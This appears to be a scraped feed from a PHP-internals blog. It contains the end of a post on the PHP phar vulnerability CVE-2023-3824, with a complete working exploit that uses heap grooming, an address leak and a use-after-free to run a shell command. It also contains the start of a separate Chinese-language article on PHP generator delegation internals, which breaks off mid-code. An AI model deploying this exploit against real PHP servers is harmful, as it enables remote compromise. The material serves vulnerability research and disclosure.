class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (file_exists(<span class="string">&quot;m2.phar&quot;</span>)) &#123;</span><br><span class="line">    unlink(<span class="string">&quot;m2.phar&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$phar</span> = <span class="keyword">new</span> Phar(<span class="string">&#x27;m2.phar&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// size of target UAF bin is the size of zend_closure </span></span><br><span class="line"><span class="variable">$dir_name</span> = str_repeat(<span class="string">&#x27;C&#x27;</span>, <span class="number">0x140</span> - <span class="number">0x1</span>);</span><br><span class="line"><span class="variable">$file_4096</span> = str_repeat(<span class="string">&#x27;A&#x27;</span>, PHP_MAXPATHLEN - <span class="number">1</span>).<span class="string">&#x27;B&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// create an empty directory</span></span><br><span class="line"><span class="variable">$phar</span>-&gt;addEmptyDir(<span class="variable">$dir_name</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// create normal one</span></span><br><span class="line"><span class="variable">$phar</span>-&gt;addFromString(<span class="variable">$dir_name</span> . DIRECTORY_SEPARATOR . str_repeat(<span class="string">&#x27;A&#x27;</span>, <span class="number">32</span>), <span class="string">&#x27;This is the content of the file.&#x27;</span>);</span><br><span class="line"><span class="comment">// trigger overflow</span></span><br><span class="line"><span class="variable">$phar</span>-&gt;addFromString(<span class="variable">$dir_name</span> . DIRECTORY_SEPARATOR . str_repeat(<span class="string">&#x27;A&#x27;</span>, PHP_MAXPATHLEN - <span class="number">1</span>).<span class="string">&#x27;B&#x27;</span>, <span class="string">&#x27;This is the content of the file.&#x27;</span>);</span><br></pre></td></tr></table></figure><p><strong>trigger.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// zif_system_offset - closure_handlers_offset </span></span><br><span class="line"><span class="variable">$zif_system_offset</span> = -<span class="number">0x8a1390</span>;</span><br><span class="line"><span class="variable">$it_arr</span> = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$zif_system</span> = leak_zif_system_addr();</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;[*] zif_system address: 0x&quot;</span>. dechex(<span class="variable">$zif_system</span>). <span class="string">&quot;\n&quot;</span>;</span><br><span class="line"></span><br><span class="line">trigger_UAF(<span class="variable">$zif_system</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">create_RDI</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$it</span> = <span class="keyword">new</span> <span class="built_in">RecursiveDirectoryIterator</span>(<span class="string">&quot;phar://./m2.phar&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// find the first directory</span></span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;</span><br><span class="line">        <span class="comment">// echo $file . &quot;\n&quot;;</span></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$file</span>-&gt;isDir()) &#123;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$it</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">leak_zif_system_addr</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$zif_system_offset</span>;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$it_arr</span>;</span><br><span class="line">     </span><br><span class="line">    <span class="comment">// fill memory chunk with lots of zend_closures;</span></span><br><span class="line">    <span class="variable">$f_arr</span> = [];</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="variable">$f_arr</span>[<span class="variable">$i</span>] = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;&#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// find zend_closure</span></span><br><span class="line">    <span class="variable">$closure_handlers</span> = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">        <span class="variable">$it</span> = create_RDI();</span><br><span class="line">        <span class="variable">$sub_it</span> = <span class="variable">$it</span>-&gt;getChildren();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// preserve every iterator to avoid double freeing on sub_path</span></span><br><span class="line">        <span class="variable">$it_arr</span>[] = <span class="variable">$sub_it</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// trigger overflow</span></span><br><span class="line">        <span class="keyword">foreach</span>(<span class="variable">$sub_it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$sub_it</span>-&gt;getSubPath();</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// refcounted &amp;&amp; is_object</span></span><br><span class="line">        <span class="keyword">if</span> (read64(<span class="variable">$data</span>, <span class="number">0</span>) == <span class="number">0x800000001</span>) &#123;</span><br><span class="line">            <span class="variable">$closure_handlers</span> = read64(<span class="variable">$data</span>, <span class="number">0x18</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$closure_handlers</span> == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">exit</span>(<span class="string">&quot;bad closure handlers\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$closure_handlers</span> + <span class="variable">$zif_system_offset</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">trigger_UAF</span>(<span class="params"><span class="variable">$zif_system</span></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$it_arr</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// fill memory chunk with lots of 0x140-size strings,</span></span><br><span class="line">    <span class="comment">// ensure address of some strings that are exactly starting with prefix 0040 or 0080.</span></span><br><span class="line">    <span class="variable">$str_arr</span> = [];</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>] = str_repeat(<span class="string">&#x27;E&#x27;</span>, <span class="number">0x140</span> - <span class="number">0x20</span>);</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">0</span>] = <span class="string">&quot;I&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">1</span>] = <span class="string">&quot;L&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">2</span>] = <span class="string">&quot;I&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">3</span>] = <span class="string">&quot;K&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">4</span>] = <span class="string">&quot;E&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">5</span>] = <span class="string">&quot;P&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">6</span>] = <span class="string">&quot;H&quot;</span>;</span><br><span class="line">        <span class="variable">$str_arr</span>[<span class="variable">$i</span>][<span class="number">7</span>] = <span class="string">&quot;P&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$f</span> = <span class="literal">NULL</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">        <span class="comment">// init sub_path</span></span><br><span class="line">        <span class="variable">$it</span> = create_RDI();</span><br><span class="line">        <span class="variable">$sub_it</span> = <span class="variable">$it</span>-&gt;getChildren();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// trigger overflow</span></span><br><span class="line">        <span class="keyword">foreach</span>(<span class="variable">$sub_it</span> <span class="keyword">as</span> <span class="variable">$file</span>) &#123;&#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$sub_it</span>-&gt;getSubPath();</span><br><span class="line">        <span class="keyword">if</span> (substr(<span class="variable">$data</span>, <span class="number">0x18</span>, <span class="number">8</span>) == <span class="string">&quot;ILIKEPHP&quot;</span>) &#123;</span><br><span class="line">            <span class="comment">// trigger UAF</span></span><br><span class="line">            <span class="keyword">unset</span>(<span class="variable">$sub_it</span>);</span><br><span class="line">            <span class="variable">$f</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123;&#125;;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// prevent double freeing</span></span><br><span class="line">            <span class="variable">$it_arr</span>[] = <span class="variable">$sub_it</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// modify closure</span></span><br><span class="line">    <span class="comment">// 1. function type: internal function</span></span><br><span class="line">    <span class="comment">// 2. function handler: zif_system</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">0x2024</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="comment">// 1. function type: internal function</span></span><br><span class="line">        <span class="comment">// zend_closure.function.internal_function.type = 0x38</span></span><br><span class="line">        <span class="comment">// zend_string_header = 0x18</span></span><br><span class="line">        write8(<span class="variable">$str_arr</span>[<span class="variable">$i</span>], <span class="number">0x38</span> - <span class="number">0x18</span>, <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. function handler: zif_system</span></span><br><span class="line">        <span class="comment">// zend_closure.function.internal_function.handler = 0x70</span></span><br><span class="line">        <span class="comment">// zend_string_header = 0x18</span></span><br><span class="line">        write64(<span class="variable">$str_arr</span>[<span class="variable">$i</span>], <span class="number">0x70</span> - <span class="number">0x18</span>, <span class="variable">$zif_system</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$f</span>(<span class="string">&#x27;uname -an&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">read64</span>(<span class="params"><span class="variable">$str</span>, <span class="variable">$p</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$v</span> = <span class="number">0</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">0</span>]);</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">1</span>]) &lt;&lt; <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">2</span>]) &lt;&lt; <span class="number">16</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">3</span>]) &lt;&lt; <span class="number">24</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">4</span>]) &lt;&lt; <span class="number">32</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">5</span>]) &lt;&lt; <span class="number">40</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">6</span>]) &lt;&lt; <span class="number">48</span>;</span><br><span class="line">    <span class="variable">$v</span> |= ord(<span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">7</span>]) &lt;&lt; <span class="number">56</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$v</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">write8</span>(<span class="params">&amp;<span class="variable">$str</span>, <span class="variable">$p</span>, <span class="variable">$v</span></span>)</span>&#123;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">write64</span>(<span class="params">&amp;<span class="variable">$str</span>, <span class="variable">$p</span>, <span class="variable">$v</span></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">0</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">1</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">2</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">3</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">4</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">5</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">6</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">    <span class="variable">$v</span> &gt;&gt;= <span class="number">8</span>;</span><br><span class="line">    <span class="variable">$str</span>[<span class="variable">$p</span> + <span class="number">7</span>] = chr(<span class="variable">$v</span> &amp; <span class="number">0xff</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="引用">引用</h4><ol type="1"><li>《挑衅执法机构，LockBit黑客犯罪团伙死灰复燃》, https://mp.weixin.qq.com/s/sLC_zuW0Wyk91i7aITbygA</li><li>PHP official report, https://github.com/php/php-src/security/advisories/GHSA-jqcx-ccgc-xwhv</li><li>完整exploitation repo, https://github.com/m4p1e/php-exploit/tree/master/CVE-2023-3824</li><li>拥抱php之CVE-2019-11043, https://m4p1e.com/2019/11/03/CVE-2019-11043/</li></ol>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;故事经过&quot;&gt;故事经过&lt;/h4&gt;
&lt;p&gt;前天看见了一个新闻[1], 英国国家打击犯罪局（NCA）、美国联邦调查局（FBI）、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个&lt;strong&gt;PHP漏洞 (</summary>
      
    
    
    
    <category term="php" scheme="https://m4p1e.com/categories/php/"/>
    
    
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    <title>拥抱PHP之在crash中遇见generator</title>
    <link href="https://m4p1e.com/2023/09/23/crash-in-generator/"/>
    <id>https://m4p1e.com/2023/09/23/crash-in-generator/</id>
    <published>2023-09-23T23:30:00.000Z</published>
    <updated>2023-09-24T16:07:30.405Z</updated>
    
    <content type="html"><![CDATA[<h3 id="crash样本-缘起">0. crash样本 缘起</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">p1</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">3</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$p1</span> = p1();</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$p1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$p1</span>; </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$gen</span> = gen();</span><br><span class="line"><span class="variable">$gen</span>-&gt;rewind();</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">child</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$gen</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$gen</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$child</span> = child();</span><br><span class="line"><span class="variable">$child</span>-&gt;rewind();</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">new1</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">global</span> <span class="variable">$p1</span>;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> <span class="variable">$p1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$new</span> = new1();</span><br><span class="line"><span class="variable">$new</span>-&gt;rewind();</span><br><span class="line"></span><br><span class="line"><span class="variable">$child</span>-&gt;next();</span><br><span class="line"><span class="variable">$child</span>-&gt;next();</span><br><span class="line"><span class="variable">$child</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="number">1</span>;</span><br></pre></td></tr></table></figure><p>在工作时, 偶然之下构造出了上面一个例子, 这个例子会导致PHP7.4和7.3 (全小版本, 后同) 崩掉 (null pointer dereference), 而PHP7.0, PHP7.1, PHP7.2没有崩掉是因为写了一行垃圾代码 (指的是完全没有任何作用且还会带来负面影响的代码) 阴差阳错地导致这个问题被带过了, 从PHP7.3开始这行垃圾代码被拿掉了, 问题就显示出来了. 最后在PHP8中彻底简化了<strong>delegated generator tree</strong>的构造, 这个问题也自然没有了. 从PHP历史来看, 这个问题一直都没有被发现, 我觉得这和generator内部实现的复杂度是有紧密关系的.</p><p>在这里，我必须要吐槽一下相关PHP开发者, delegated generator tree这个结构在PHP7中无比复杂, 文档和相关资料也少的可怜 (基本没有), 导致相关代码读起来会异常难受, 我花费了巨额地时间才彻底理顺逻辑. 借此, 有了这篇文章, 希望将PHP generator内部实现中最复杂的那部分内容, 以尽可能<strong>无痛</strong>地方式传递给读者或者后来者. 同时这篇文章中也有一些我的小心思, 全文只有一处完整地复制粘贴了PHP内部代码的地方 (一个结构定义), 其余地方我都使用伪代码来描述过程, 因为我不希望此篇文章成为一个类似"读代码的文章"的典范, 而希望是在婉婉道来一个有趣的故事. 另外在读这篇文章的时候, 你不需要对PHP内部有任何的了解, 我保证.</p><h3 id="delegated-generator-tree-委托构造器树">1. Delegated generator tree (委托构造器树)</h3><p>这一节我们将介绍什么是delegated generator tree.</p><h4 id="generator-概念速成">1.1. Generator 概念速成</h4><p>首先简要介绍一下 <strong>generator</strong> (构造器)的概念. 这个feature在很多编程语言 (python 和 ECMAScript等) 中都有存在, 它的概念也并不复杂. 你可以将它理解为"一个特殊的<strong>iterator</strong> (迭代器), 但是长成了函数的模样". 它是一个iterator意味着它天然地支持一些操作, 比如将iterator指向第一个元素的 <code>rewind</code>操作, 获取iterator当前指向元素的<code>current</code>操作, 将iterator指向下一个元素的 <code>move_forward</code>操作等等, 不同语言上的实现可能有些许不同. 而它长成了函数的样子意味着你可以像函数调用一样去调用它, 但是它的并不会因此而直接执行, 你需要通过前面提到的iterator的相关操作去拨动它. 例如在PHP中一个最简单generator例子为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$gen</span> = gen();</span><br><span class="line"><span class="variable">$gen</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 1</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;getReturn(); <span class="comment">// output: 2</span></span><br></pre></td></tr></table></figure><p>其中有一个关键字<code>yield</code>, 它的出现就决定了它所在的函数是一个generator. 当你第一次调用这个函数的时候, 你就会得到一个generator实例, 如这里的第5行. 之后你就可以将其视为一个iterator来操作, 如这里的第6-8行. 当你使用<code>rewind()</code>操作时, iterator就会指向它的第一个元素, 对generator而言, 这个操作会告诉它, 开始执行对应的函数, 并且在执行完第一个<code>yield</code>之后停下来, 并将这个<code>yield</code>产生的值视为一个元素. 如这里这个第二行<code>yield</code>执行会产生一个常量<code>1</code>. 值得注意是, 当在generator实例已经开始运行之后, 再使用<code>rewind()</code>操作, 将没有任何作用, 因为PHP不允许rewind一个正在运行的generator实例. 当你使用<code>next()</code>操作时, iterator就会指向它的下一个元素, 对于generatora而言, 这个操作会告诉它, 继续从当前位置执行, 直到下一个<code>yield</code>执行之后再停下来, 或者遇到<code>return</code>直接完成执行. 如这里并没有第二个<code>yield</code>, 使得当前generator实例在执行<code>return</code>之后就关闭了. generator 除了支持必要的iterator操作, 也支持一些其他特殊的操作, 如这里的<code>getReturn()</code>操作, 它可以获取对应generator实例的返回值. 甚至你也可以通过<code>send()</code>操作给generator实例内部传递值. 相关的操作均可以在PHP <a href="https://www.php.net/manual/en/class.generator.php">官方文档</a> 找到, 这里就不累述了.</p><h4 id="delegated-generator-tree的由来">1.2. Delegated generator tree的由来</h4><p>从上面对generator介绍看来, 它并不复杂, 但是引入<code>yield from</code>之后, generator的世界就开始变的复杂了. PHP官方文档对<code>yield from</code>的介绍如下:</p><blockquote><p>Generator delegation allows you to yield values from another generator, Traversable object, or array by using the <strong>yield from</strong> keyword.</p></blockquote><p>所以<code>yield from</code>对应的机制应该称之为"Generator delegation" (构造器委托), 可以看到它支持3种delegated values, 我们的关注重点delegated value为generator的情况, 后面的两种我们在这里简单介绍一下. 例如</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gen</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">yield</span> <span class="keyword">from</span> [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$gen</span> = gen();</span><br><span class="line"><span class="variable">$gen</span>-&gt;rewind();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 1</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 2</span></span><br><span class="line"><span class="variable">$gen</span>-&gt;next();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$gen</span>-&gt;current(); <span class="comment">// output: 3</span></span><br></pre></td></tr></table></figure><p>当执行<code>yield from</code>之后, 此时iterator会委托给它后面的对象, 因此当我们拨动<code>next</code>方法的时候, 实际在拨动另外一个iterator, 当这个新的iterator被使用完毕之后, 就会返回调用<code>yield from</code>的地方继续执行.</p><p>可以想象一下<code>yield from</code>后面的表达式是一个generator实例的时候会发生什么? 为方便描述, 我们将调用<code>yield from</code>的generator称为outer generator, 而被调用的那个generator称为inner generator. 例如</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 